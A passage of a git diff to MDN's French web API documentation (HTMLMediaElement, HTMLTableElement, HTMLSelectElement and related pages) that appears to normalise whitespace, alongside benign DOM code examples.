peut être chargée. -- Les métadonnées de l'image spécifiée sont corrompues empêchant de récupérer ses dimensions, et aucune dimension n'est spécifiée dans les attributs de l'élément `<img>`. +- Les métadonnées de l'image spécifiée sont corrompues empêchant de récupérer ses dimensions, et aucune dimension n'est spécifiée dans les attributs de l'élément `<img>`. - L'image spécifiée est dans un format non supporté par l'"{{Glossary("user agent")}}". ## Exemple diff --git a/files/fr/web/api/htmlinputelement/index.md b/files/fr/web/api/htmlinputelement/index.md index 7240d27edb..91f36c0bbc 100644 --- a/files/fr/web/api/htmlinputelement/index.md +++ b/files/fr/web/api/htmlinputelement/index.md @@ -571,7 +571,7 @@ The **`HTMLInputElement`** interface provides special properties and methods for <code><em>string</em></code ><em>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("step", "input") }} attribute, which works - with<strong> </strong>{{htmlattrxref("min","input")}} and + with {{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this is not set diff --git a/files/fr/web/api/htmlmediaelement/abort_event/index.md b/files/fr/web/api/htmlmediaelement/abort_event/index.md index 77cf2c3790..b54fec6b1b 100644 --- a/files/fr/web/api/htmlmediaelement/abort_event/index.md +++ b/files/fr/web/api/htmlmediaelement/abort_event/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/HTMLMediaElement/abort_event --- {{APIRef}} -L'événement **`abort`** se déclenche si l'élément écouté ne s'est pas chargé complétement. Il est désactivé si le résultat obtenu est une erreur. +L'événement **`abort`** se déclenche si l'élément écouté ne s'est pas chargé complétement. Il est désactivé si le résultat obtenu est une erreur. <table class="properties"> <tbody> diff --git a/files/fr/web/api/htmlmediaelement/canplay_event/index.md b/files/fr/web/api/htmlmediaelement/canplay_event/index.md index 3c40a18ea7..cea254a75b 100644 --- a/files/fr/web/api/htmlmediaelement/canplay_event/index.md +++ b/files/fr/web/api/htmlmediaelement/canplay_event/index.md @@ -3,7 +3,7 @@ title: 'HTMLMediaElement: canplay' slug: Web/API/HTMLMediaElement/canplay_event translation_of: Web/API/HTMLMediaElement/canplay_event --- -L'événement `canplay` est déclenché lorsque l'[agent utilisateur](/fr/docs/Glossaire/User_agent) peut jouer le média, mais estime que trop peu de données ont été chargées pour le jouer jusqu'à la fin sans avoir à l'arrêter pour charger d'avantage de contenu dans la mémoire tampon (buffer). +L'événement `canplay` est déclenché lorsque l'[agent utilisateur](/fr/docs/Glossaire/User_agent) peut jouer le média, mais estime que trop peu de données ont été chargées pour le jouer jusqu'à la fin sans avoir à l'arrêter pour charger d'avantage de contenu dans la mémoire tampon (buffer). ## Informations Générales diff --git a/files/fr/web/api/htmlmediaelement/capturestream/index.md b/files/fr/web/api/htmlmediaelement/capturestream/index.md index 73ef52ce23..f5ac60456a 100644 --- a/files/fr/web/api/htmlmediaelement/capturestream/index.md +++ b/files/fr/web/api/htmlmediaelement/capturestream/index.md @@ -38,7 +38,7 @@ Dans cet exemple, un écouteur d'événement est mise en place, permettant la ca document.querySelector('.playAndRecord').addEventListener('click', function() { var playbackElement = document.getElementById("playback"); var captureStream = playbackElement.captureStream(); - playbackElement.play(); + playbackElement.play(); }); ``` @@ -56,12 +56,12 @@ Voir [Recording a media element](/en-US/docs/Web/API/MediaStream_Recording_API/R ### Firefox-notes spécifiques -Avant Firefox 51, vous ne pouviez pas utiliser `captureStream()` sur un élément média dont la source était, lui-même, un objet {{domxref("MediaStream")}} (comme un élément {{HTMLElement("video")}} présentant un flux reçu à travers un {{domxref("RTCPeerConnection")}}). Au commencement de 51, ça fonctionne. ce qui veut dire que vous pouvez capturer le flux d'un élément video et utiliser {{domxref("MediaRecorder")}} pour l'enregistrer. Voir {{bug(1259788)}} pour plus de détails. +Avant Firefox 51, vous ne pouviez pas utiliser `captureStream()` sur un élément média dont la source était, lui-même, un objet {{domxref("MediaStream")}} (comme un élément {{HTMLElement("video")}} présentant un flux reçu à travers un {{domxref("RTCPeerConnection")}}). Au commencement de 51, ça fonctionne. ce qui veut dire que vous pouvez capturer le flux d'un élément video et utiliser {{domxref("MediaRecorder")}} pour l'enregistrer. Voir {{bug(1259788)}} pour plus de détails. Cependant, `captureStream()` reste préfixé `mozCaptureStream()` sur Firefox pour une bonne raison: il y a quelques etrangetés dans l'implémentation actuelle qui mérite d'être soulignées : - Actuellement, l'implémentation de Firefox fonctionne uniquement (comme décrit dans les spécifications) quand la source de l'élément média est elle-même, donc une instance {{domxref("MediaStream")}}. -- Si la source de l'élément média n'est pas un `MediaStream`, la sortie de cette méthode n'est pas compatible avec les spécifications, et si vous changez la source après avoir commencé la capture, la sortie de la capture du flux ne peut accepter les nouvelles données source suite à une incompatibilité, donc aucun {{domxref("MediaStreamTrack")}}s sera ajouté de la nouvelle source `MediaStream` au flux capturé, résultant d'une sortie n'ayant pas capturé la source mise à jour. +- Si la source de l'élément média n'est pas un `MediaStream`, la sortie de cette méthode n'est pas compatible avec les spécifications, et si vous changez la source après avoir commencé la capture, la sortie de la capture du flux ne peut accepter les nouvelles données source suite à une incompatibilité, donc aucun {{domxref("MediaStreamTrack")}}s sera ajouté de la nouvelle source `MediaStream` au flux capturé, résultant d'une sortie n'ayant pas capturé la source mise à jour. - Repasser la source en `MediaStream` ajoute des pistes au flux et fonctionne de nouveau comme prévu. - L'appel à `mozCaptureMediaStream()` sur un élément avec une source `MediaStream` retourne un flux qui contient uniquement les pistes jouées par un `MediaStream`. - Si vous appellez `mozCaptureMediaStream()` sur un élément média sans source, son mode de compatibilité va se baser sur la première source ayant été ajoutée; Par exemple, Si c'est un `MediaStream`, alors la capture du flux va seulement fonctionner avec une source MediaStream à partir de ce moment. diff --git a/files/fr/web/api/htmlmediaelement/index.md b/files/fr/web/api/htmlmediaelement/index.md index ae4bf10a8b..fa8b25d7e2 100644 --- a/files/fr/web/api/htmlmediaelement/index.md +++ b/files/fr/web/api/htmlmediaelement/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/HTMLMediaElement --- {{APIRef("HTML DOM")}} -L'interface **`HTMLMediaElement`** ajoute à {{domxref("HTMLElement")}} les propriétés et les méthodes nécessaires pour prendre en charge les fonctionnalités de base liées aux médias qui sont communes aux vidéos et aux documents audios. {{domxref("HTMLVideoElement")}} et {{domxref("HTMLAudioElement")}} héritent de cette interface. +L'interface **`HTMLMediaElement`** ajoute à {{domxref("HTMLElement")}} les propriétés et les méthodes nécessaires pour prendre en charge les fonctionnalités de base liées aux médias qui sont communes aux vidéos et aux documents audios. {{domxref("HTMLVideoElement")}} et {{domxref("HTMLAudioElement")}} héritent de cette interface. ## Propriétés @@ -45,7 +45,7 @@ _Cette interface hérite aussi des propriétés de ses ancêtres_ _{{domxref("HT - {{domxref("HTMLMediaElement.defaultPlaybackRate")}} - : est un `double` indiquant le taux de lecture par défaut pour le média. - {{domxref("HTMLMediaElement.disableRemotePlayback")}} - - : est un {{jsxref('Boolean')}} qui définit ou retourne l'état de lecture à distance, indiquant si l'élément de média est autorisé à avoir une interface de lecture à distance. + - : est un {{jsxref('Boolean')}} qui définit ou retourne l'état de lecture à distance, indiquant si l'élément de média est autorisé à avoir une interface de lecture à distance. - {{domxref("HTMLMediaElement.duration")}}{{readonlyinline}} - : renvoie un `double` indiquant la longueur du média en secondes, ou 0 si aucune donnée multimédia n'est disponible. - {{domxref("HTMLMediaElement.ended")}}{{readonlyinline}} @@ -55,25 +55,25 @@ _Cette interface hérite aussi des propriétés de ses ancêtres_ _{{domxref("HT - {{domxref("HTMLMediaElement.loop")}} - : est un {{jsxref('Boolean')}} qui reflète l'attribut HTML {{htmlattrxref("loop","video")}} (_boucle_), lequel indique si l'élément média doit recommencer quand il arrive à la fin. - {{domxref("HTMLMediaElement.mediaGroup")}} - - : est une {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("mediagroup","video")}}, lequel indique le nom du groupe d'éléments auquel il appartient. Un groupe d'éléments média partage un {{domxref('MediaController')}} commun. + - : est une {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("mediagroup","video")}}, lequel indique le nom du groupe d'éléments auquel il appartient. Un groupe d'éléments média partage un {{domxref('MediaController')}} commun. - {{domxref("HTMLMediaElement.mediaKeys")}}{{readonlyinline}} {{experimental_inline}} - - : Renvoie un objet {{domxref("MediaKeys")}} ou `null`. `MediaKeys` est un ensemble de clés qu'un élément `HTMLMediaElement` associé peut utiliser pour déchiffrer les données du média pendant la lecture. + - : Renvoie un objet {{domxref("MediaKeys")}} ou `null`. `MediaKeys` est un ensemble de clés qu'un élément `HTMLMediaElement` associé peut utiliser pour déchiffrer les données du média pendant la lecture. - {{domxref("HTMLMediaElement.mozAudioCaptured")}}{{readonlyinline}} {{non-standard_inline}} - - : renvoie un {{jsxref('Boolean')}}. Lié à la capture de flux audio. + - : renvoie un {{jsxref('Boolean')}}. Lié à la capture de flux audio. - {{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}} - : est un `double` qui donne accès à l'heure de fin du fragment si l'élément média a un fragment URI pour `currentSrc`, sinon il est égal à la durée du média. -- {{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}} +- {{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}} - : est un `unsigned long` qui indique le nombre d'échantillons qui seront renvoyés dans le "framebuffer" de chaque évènement `MozAudioAvailable`. Ce nombre est un total pour tous les canaux, et par défaut est défini par le nombre de canaux \* 1024 (c'est-à-dire, 2 canaux \* 1024 échantillons = total 2048). La propriété `mozFrameBufferLength` peut être définie à une nouvelle valeur pour une latence plus faible, de plus grandes quantités de données, etc. La taille donnée _doit_ être un nombre compris entre 512 et 16384. L'utilisation d'autres tailles entraîne la levée d'une exception. Le meilleur moment pour définir une nouvelle longueur est après le lancement de l'évènement [loadedmetadata](/en-US/docs/Web/Events/loadedmetadata), lorsque l'information audio est connue, mais avant que l'audio ait commencé ou que les événements `MozAudioAvailable` aient commencé à se déclencher. -- {{domxref("HTMLMediaElement.mozSampleRate")}}{{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}} - - : renvoie un `double` représentant le nombre d'échantillons par seconde. Par exemple, 44100 échantillons par seconde correspondent à la fréquence d'échantillonnage utilisée par les CD audio. +- {{domxref("HTMLMediaElement.mozSampleRate")}}{{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}} + - : renvoie un `double` représentant le nombre d'échantillons par seconde. Par exemple, 44100 échantillons par seconde correspondent à la fréquence d'échantillonnage utilisée par les CD audio. - {{domxref("HTMLMediaElement.muted")}} - : est un {{jsxref('Boolean')}} qui détermine si l'audio est coupé. `true` (_vrai_) si l'audio est coupé et `false` (_faux_) sinon. - {{domxref("HTMLMediaElement.networkState")}}{{readonlyinline}} - - : renvoie un `unsigned short` (énumération) indiquant l'état actuel de récupération du média sur le réseau. + - : renvoie un `unsigned short` (énumération) indiquant l'état actuel de récupération du média sur le réseau. - {{domxref("HTMLMediaElement.paused")}}{{readonlyinline}} - : renvoie un {{jsxref('Boolean')}} qui indique si l'élément média est en pause. - {{domxref("HTMLMediaElement.playbackRate")}} @@ -85,7 +85,7 @@ _Cette interface hérite aussi des propriétés de ses ancêtres_ _{{domxref("HT - {{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}} - : est un {{jsxref('Boolean')}} qui détermine si la hauteur du son sera préservée. S'il est défini à `false` (_faux_), la hauteur du son s'ajustera à la vitesse de l'audio. C'est implémenté avec préfixe dans Firefox (`mozPreservesPitch`) et WebKit (`webkitPreservesPitch`). - {{domxref("HTMLMediaElement.readyState")}}{{readonlyinline}} - - : Renvoie un `unsigned short` (énumération) indiquant l'état de préparation des médias. + - : Renvoie un `unsigned short` (énumération) indiquant l'état de préparation des médias. - {{domxref("HTMLMediaElement.seekable")}}{{readonlyinline}} - : Renvoie un objet {{domxref('TimeRanges')}} qui contient les plages de temps que l'utilisateur peut rechercher, le cas échéant. - {{domxref("HTMLMediaElement.seeking")}}{{readonlyinline}} @@ -120,7 +120,7 @@ Ces attributs sont obsolètes et ne doivent plus être utilisés, même si un na - {{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}} - : renvoie un `double` qui indique la position de lecture initiale en secondes. -- {{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}} +- {{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}} - : renvoie un `double` représentant le nombre de canaux dans la ressource audio (c'est-à-dire 2 pour stéréo). ### Gestionnaires d'évènements obsolètes @@ -137,7 +137,7 @@ _Cette interface hérite aussi des méthodes de ses ancêtres {{domxref("HTMLEle - {{domxref("HTMLMediaElement.addTextTrack()")}} - : Ajoute une piste de texte (telle qu'une piste pour les sous-titres) à un élément de média. - {{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}} - - : Renvoie {{domxref("MediaStream")}}, capture un flux du contenu du média. + - : Renvoie {{domxref("MediaStream")}}, capture un flux du contenu du média. - {{domxref("HTMLMediaElement.canPlayType()")}} - : Détermine si le type de média spécifié peut être lu. - {{domxref("HTMLMediaElement.fastSeek()")}} @@ -166,7 +166,7 @@ _Cette interface hérite aussi des méthodes de ses ancêtres {{domxref("HTMLEle Ces méthodes sont obsolètes et ne doivent plus être utilisées, même si un navigateur les prend encore en charge. - {{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}} - - : Cette méthode, disponible seulement pour les implémentations Mozilla, charge les données d'un autre élément de média. Ce fonctionnement est similaire à `load()` excepté qu'à la place d'exécuter l'algorithme normal de sélection de la ressource, la source est simplement définie sur `currentSrc` de l'autre élément. Ceci est optimisé pour que cet élément accède à toutes les données mises en cache et en mémoire tampon de l'autre élément ; en fait, les deux éléments partagent les données téléchargées, de sorte que les données téléchargées par l'un ou l'autre élément sont disponibles pour les deux. + - : Cette méthode, disponible seulement pour les implémentations Mozilla, charge les données d'un autre élément de média. Ce fonctionnement est similaire à `load()` excepté qu'à la place d'exécuter l'algorithme normal de sélection de la ressource, la source est simplement définie sur `currentSrc` de l'autre élément. Ceci est optimisé pour que cet élément accède à toutes les données mises en cache et en mémoire tampon de l'autre élément ; en fait, les deux éléments partagent les données téléchargées, de sorte que les données téléchargées par l'un ou l'autre élément sont disponibles pour les deux. ## Spécifications diff --git a/files/fr/web/api/htmlmediaelement/play/index.md b/files/fr/web/api/htmlmediaelement/play/index.md index 5ec797381e..82eb34932b 100644 --- a/files/fr/web/api/htmlmediaelement/play/index.md +++ b/files/fr/web/api/htmlmediaelement/play/index.md @@ -13,9 +13,9 @@ tags: - play translation_of: Web/API/HTMLMediaElement/play --- -{{APIRef("HTML DOM")}} {{SeeCompatTable}} +{{APIRef("HTML DOM")}} {{SeeCompatTable}} -La méthode **`HTMLMediaElement.play()`** essaie de commencer la lecture du média et renvoie une {{jsxref("Promise")}} qui est résolue quand la lecture a commencé avec succès, et est rejetée si la lecture ne peut commencer pour n'importe quelle raison (comme, par exemple, une erreur de permission). +La méthode **`HTMLMediaElement.play()`** essaie de commencer la lecture du média et renvoie une {{jsxref("Promise")}} qui est résolue quand la lecture a commencé avec succès, et est rejetée si la lecture ne peut commencer pour n'importe quelle raison (comme, par exemple, une erreur de permission). ## Syntaxe @@ -31,7 +31,7 @@ Une {{jsxref("Promise")}} qui est résolue quand la lecture a commencé, ou reje ### Exceptions -Le *gestionnaire de rejet* de la promesse est appelé avec un nom d'exception comme seul paramètre (contrairement aux exceptions traditionnelles). Les exceptions possibles incluent : +Le *gestionnaire de rejet* de la promesse est appelé avec un nom d'exception comme seul paramètre (contrairement aux exceptions traditionnelles). Les exceptions possibles incluent : - `NotAllowedError` - : Le client (navigateur) ou système d'exploitation ne permet pas la lecture du média dans le contexte ou la situation actuelle. Ceci peut arriver, par exemple, si le navigateur oblige l'utilisateur à lancer manuellement le média en cliquant sur le bouton "play". @@ -42,7 +42,7 @@ D'autres types d'exceptions peuvent survenir selon l'implémentation du navigate ## Exemple -Cet exemple commence la lecture d'un élément `video` et met à jour une box avec un message de succès si la lecture a bien démarré et un message d'erreur si une erreur survient. +Cet exemple commence la lecture d'un élément `video` et met à jour une box avec un message de succès si la lecture a bien démarré et un message d'erreur si une erreur survient. ```js let myVideo = document.getElementById("myVideoElement"); @@ -61,7 +61,7 @@ myVideo.play().then(() => { | {{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-play', 'play()')}} | {{Spec2('HTML WHATWG')}} | Définition initiale; living specification. | | {{SpecName('HTML5 W3C','embedded-content-0.html#playing-the-media-resource','play()')}} | {{Spec2('HTML5 W3C')}} | Définition initiale. | -> **Note :** Les versions WHATWG et W3C de la spécification diffèrent (depuis le 20 Avril 2016) par le fait que cette méthode renvoie respectivement une {{jsxref("Promise")}} ou rien du tout. +> **Note :** Les versions WHATWG et W3C de la spécification diffèrent (depuis le 20 Avril 2016) par le fait que cette méthode renvoie respectivement une {{jsxref("Promise")}} ou rien du tout. ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlmediaelement/volume/index.md b/files/fr/web/api/htmlmediaelement/volume/index.md index 9f33840d7c..cf56cbe123 100644 --- a/files/fr/web/api/htmlmediaelement/volume/index.md +++ b/files/fr/web/api/htmlmediaelement/volume/index.md @@ -18,7 +18,7 @@ La propriété **`HTMLMediaElement.volume`** définit le volume auquel le média ## Syntaxe - var volume = video.volume; //1 + var volume = video.volume; //1 ### Valeur diff --git a/files/fr/web/api/htmlselectelement/remove/index.md b/files/fr/web/api/htmlselectelement/remove/index.md index eb93cdf43a..37e86d54aa 100644 --- a/files/fr/web/api/htmlselectelement/remove/index.md +++ b/files/fr/web/api/htmlselectelement/remove/index.md @@ -46,9 +46,9 @@ sel.remove(1); | Spécification | Status | Comment | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------------ | -| {{SpecName('HTML WHATWG', '#dom-select-remove', 'HTMLSelectElement.remove()')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', '#dom-select-remove', 'HTMLSelectElement.remove()')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('HTML5 W3C', 'forms.html#dom-select-remove', 'HTMLSelectElement.remove()')}} | {{Spec2('HTML5 W3C')}} | Is a snapshot of {{SpecName("HTML WHATWG")}}. | -| {{SpecName('DOM2 HTML', 'html.html#ID-33404570', 'HTMLSelectElement.remove()')}} | {{Spec2('DOM2 HTML')}} | | +| {{SpecName('DOM2 HTML', 'html.html#ID-33404570', 'HTMLSelectElement.remove()')}} | {{Spec2('DOM2 HTML')}} | | | {{SpecName('DOM1', 'level-one-html.html#ID-33404570', 'HTMLSelectElement.remove()')}} | {{Spec2('DOM1')}} | Initial definition. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlselectelement/setcustomvalidity/index.md b/files/fr/web/api/htmlselectelement/setcustomvalidity/index.md index fb449d6b3e..be5650ae33 100644 --- a/files/fr/web/api/htmlselectelement/setcustomvalidity/index.md +++ b/files/fr/web/api/htmlselectelement/setcustomvalidity/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLSelectElement/setCustomValidity --- {{ APIRef("HTML DOM") }} -La méthode **`HTMLSelectElement.setCustomValidity()`** définit le message de validation personnalisé de l'élément sélectionné avec le message renseigné. Utiliser une chaîne de caractère vide indique que l'élément _n'a pas_ de message d'erreur de validation personnalisé. +La méthode **`HTMLSelectElement.setCustomValidity()`** définit le message de validation personnalisé de l'élément sélectionné avec le message renseigné. Utiliser une chaîne de caractère vide indique que l'élément _n'a pas_ de message d'erreur de validation personnalisé. ## Syntaxe @@ -15,7 +15,7 @@ ElmSelectionne.setCustomValidity(message); ### Paramètres -- *message* est le {{domxref("DOMString")}} contenant le message d'erreur. +- *message* est le {{domxref("DOMString")}} contenant le message d'erreur. ## Spécifications diff --git a/files/fr/web/api/htmlstyleelement/index.md b/files/fr/web/api/htmlstyleelement/index.md index 87e7e4d49b..b4b983a1d0 100644 --- a/files/fr/web/api/htmlstyleelement/index.md +++ b/files/fr/web/api/htmlstyleelement/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/HTMLStyleElement ### Notes -Consultez les pages suivantes pour plus d'informations sur certains des objets utilisés pour manipuler les propriétés CSS depuis le DOM : +Consultez les pages suivantes pour plus d'informations sur certains des objets utilisés pour manipuler les propriétés CSS depuis le DOM : - [L'objet DOM element.style](fr/DOM/element.style) - [L'objet DOM stylesheet](fr/DOM/stylesheet) @@ -35,7 +35,7 @@ ou directement sur cet élément à l'aide de `element.style.propertyName` (par De plus, lorsque cette propriété est définie sur un élément, elle écrase et efface tout style qui peut avoir été défini ailleurs pour cette propriété particulière de l'élément. Par exemple, définir la propriété `border` écrasera les réglages définis ailleurs pour la propriété `border` de cet élément dans la section `head` du document ou dans des feuilles de style externes. Cependant, cela n'affectera pas les autres déclarations de propriétés pour les styles de cet élément, comme `padding`, `margin` ou `font` par exemple. -Pour changer le style d'un élément particulier, l'exemple suivant peut être adapté : +Pour changer le style d'un élément particulier, l'exemple suivant peut être adapté : ```html <html> @@ -82,7 +82,7 @@ L'objet `style` représente une règle de style individuelle. Contrairement aux _in-line_ d'un élément particulier. -Mais il y a plus important que les deux propriétés exposées ici, c'est l'utilisation de l'objet `style` pour définir des propriétés de style individuelles sur un élément : +Mais il y a plus important que les deux propriétés exposées ici, c'est l'utilisation de l'objet `style` pour définir des propriétés de style individuelles sur un élément : <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> @@ -109,7 +109,7 @@ Les attributs **media** et **type** du style peuvent être donnés ou non. Notez var el = document.getElementById("un-element"); el.setAttribute("style", "background-color:darkblue;"); -Soyez cependant conscient que `setAttribute` écrasera toute propriété de style qui pourrait déjà avoir été définie dans l'objet style de cet élément. Si l'élément « un-element » ci-dessus avait déjà un attribut indiquant par exemple `style="font-size: 18px"`, cette valeur serait supprimée par l'utilisation de `setAttribute`. +Soyez cependant conscient que `setAttribute` écrasera toute propriété de style qui pourrait déjà avoir été définie dans l'objet style de cet élément. Si l'élément « un-element » ci-dessus avait déjà un attribut indiquant par exemple `style="font-size: 18px"`, cette valeur serait supprimée par l'utilisation de `setAttribute`. ##### Propriétés diff --git a/files/fr/web/api/htmltablecellelement/index.md b/files/fr/web/api/htmltablecellelement/index.md index 5e7f4bded8..e82e644cf5 100644 --- a/files/fr/web/api/htmltablecellelement/index.md +++ b/files/fr/web/api/htmltablecellelement/index.md @@ -62,4 +62,4 @@ _Aucune méthode spécifique ; hérite des méthodes de son parent, {{domxref("H ## Voir aussi -- Éléments HTML implémentant cette interface : {{HTMLElement("th")}} et {{HTMLElement("td")}} par héritage via {{domxref("HTMLTableHeaderCellElement")}} et {{domxref("HTMLTableDataCellElement")}}. +- Éléments HTML implémentant cette interface : {{HTMLElement("th")}} et {{HTMLElement("td")}} par héritage via {{domxref("HTMLTableHeaderCellElement")}} et {{domxref("HTMLTableDataCellElement")}}. diff --git a/files/fr/web/api/htmltableelement/caption/index.md b/files/fr/web/api/htmltableelement/caption/index.md index 68308f7596..4978f7502b 100644 --- a/files/fr/web/api/htmltableelement/caption/index.md +++ b/files/fr/web/api/htmltableelement/caption/index.md @@ -27,5 +27,5 @@ Cette propriété ne renvoie rien s'il n'y a aucune légende pour le tableau. ### Spécification -- [DOM Level 2 HTML : caption](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-14594520) ([traduction](http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-14594520)) +- [DOM Level 2 HTML : caption](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-14594520) ([traduction](http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-14594520)) - [Interface HTMLTableCaptionElement](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-12035137) ([traduction](http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-12035137)) diff --git a/files/fr/web/api/htmltableelement/insertrow/index.md b/files/fr/web/api/htmltableelement/insertrow/index.md index 6309720d21..4850f07779 100644 --- a/files/fr/web/api/htmltableelement/insertrow/index.md +++ b/files/fr/web/api/htmltableelement/insertrow/index.md @@ -12,16 +12,16 @@ translation_of: Web/API/HTMLTableElement/insertRow --- {{APIRef("HTML DOM")}} -La méthode **`HTMLTableElement.insertRow()`** insère une nouvelle ligne dans la table et retourne une référence à la nouvelle ligne. +La méthode **`HTMLTableElement.insertRow()`** insère une nouvelle ligne dans la table et retourne une référence à la nouvelle ligne. ## Syntaxe var ligne = HTMLTableElement.insertRow(optionnel indice = -1); - [`HTMLTableElement`](/en-US/docs/DOM/HTMLTableElement) est une référence à un élément table HTML. -- `indice` est l'indice de ligne de la nouvelle ligne. -- `ligne` reçoit la référence à la nouvelle ligne. Une référence à un [HTMLTableRowElement](/en-US/docs/Web/API/HTMLTableRowElement). Si l'indice est -1 ou est égal au nombre de lignes, la ligne est ajoutée comme dernière ligne. Si `indice` est plus grand que le nombre de lignes, une exception IndexSizeError sera générée. Si indice est omis, sa valeur sera -1 par défaut. -- Si une table a plusieurs éléments `tbody`, par défaut, la nouvelle ligne est ajoutée dans le dernier `tbody`. Pour insérer la ligne dans un `tbody` particulier : +- `indice` est l'indice de ligne de la nouvelle ligne. +- `ligne` reçoit la référence à la nouvelle ligne. Une référence à un [HTMLTableRowElement](/en-US/docs/Web/API/HTMLTableRowElement). Si l'indice est -1 ou est égal au nombre de lignes, la ligne est ajoutée comme dernière ligne. Si `indice` est plus grand que le nombre de lignes, une exception IndexSizeError sera générée. Si indice est omis, sa valeur sera -1 par défaut. +- Si une table a plusieurs éléments `tbody`, par défaut, la nouvelle ligne est ajoutée dans le dernier `tbody`. Pour insérer la ligne dans un `tbody` particulier : ` var tbody_particulier``=document.getElementById(id_tbody); var ligne=tbody_particulier.``insertRow(indice) ` ## Exemple @@ -57,13 +57,13 @@ ajouteLigne('TableA'); Pour être valide dans un document HTML, un élément TR doit avoir au moins un élément TD. -Remarquez que `insertRow` insère directement la ligne dans la table et renvoie une référence à la nouvelle ligne. La ligne n'a pas besoin d'être ajoutée séparement comme cela aurait été le cas si [`document.createElement()`](/en-US/docs/DOM/document.createElement) avait été utilisé pour créer un nouvel élement TR. +Remarquez que `insertRow` insère directement la ligne dans la table et renvoie une référence à la nouvelle ligne. La ligne n'a pas besoin d'être ajoutée séparement comme cela aurait été le cas si [`document.createElement()`](/en-US/docs/DOM/document.createElement) avait été utilisé pour créer un nouvel élement TR. ## Spécifications | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------ | -| {{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}} | {{Spec2("DOM2 HTML")}} | Spécifie plus en détail où la ligne est insérée. | | {{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}} | {{Spec2("DOM1")}} | Définition initiale. | diff --git a/files/fr/web/api/htmltablerowelement/insertcell/index.md b/files/fr/web/api/htmltablerowelement/insertcell/index.md index 4d9f632f14..015f1e77b5 100644 --- a/files/fr/web/api/htmltablerowelement/insertcell/index.md +++ b/files/fr/web/api/htmltablerowelement/insertcell/index.md @@ -70,7 +70,7 @@ addRow('my-table'); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName("HTML WHATWG", "tables.html#dom-tr-insertcell", "HTMLTableRowElement.insertCell()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "tables.html#dom-tr-insertcell", "HTMLTableRowElement.insertCell()")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("DOM2 HTML", "html.html#ID-68927016", "HTMLTableRowElement.insertCell()")}} | {{Spec2("DOM2 HTML")}} | Définition initiale. | ## Compatibilité des navigateurs @@ -80,4 +80,4 @@ addRow('my-table'); ## Voir aussi - {{domxref("HTMLTableElement.insertRow()")}} -- L’élément HTML représentant les cellules : {{domxref("HTMLTableCellElement")}} +- L’élément HTML représentant les cellules : {{domxref("HTMLTableCellElement")}} diff --git a/files/fr/web/api/htmlunknownelement/index.md b/files/fr/web/api/htmlunknownelement/index.md index 5d240fe885..a3eeda7dfa 100644 --- a/files/fr/web/api/htmlunknownelement/index.md +++ b/files/fr/web/api/htmlunknownelement/index.md @@ -11,11 +11,11 @@ L’interface **`HTMLUnknownElement`** représente un élément HTML invalide et ## Propriétés -_Pas de propriété spécifique ; hérite des propriétés de son parent, {{DOMxRef("HTMLElement")}}._ +_Pas de propriété spécifique ; hérite des propriétés de son parent, {{DOMxRef("HTMLElement")}}._ ## Méthodes -_Pas de méthode spécifique ; hérite des méthodes de son parent, {{DOMxRef("HTMLElement")}}._ +_Pas de méthode spécifique ; hérite des méthodes de son parent, {{DOMxRef("HTMLElement")}}._ ## Spécifications @@ -30,5 +30,5 @@ _Pas de méthode spécifique ; hérite des méthodes de son parent, {{DOMxRef( ## Voir aussi -- Les éléments HTML obsolètes ou non standard implémentant cette interface : {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}} +- Les éléments HTML obsolètes ou non standard 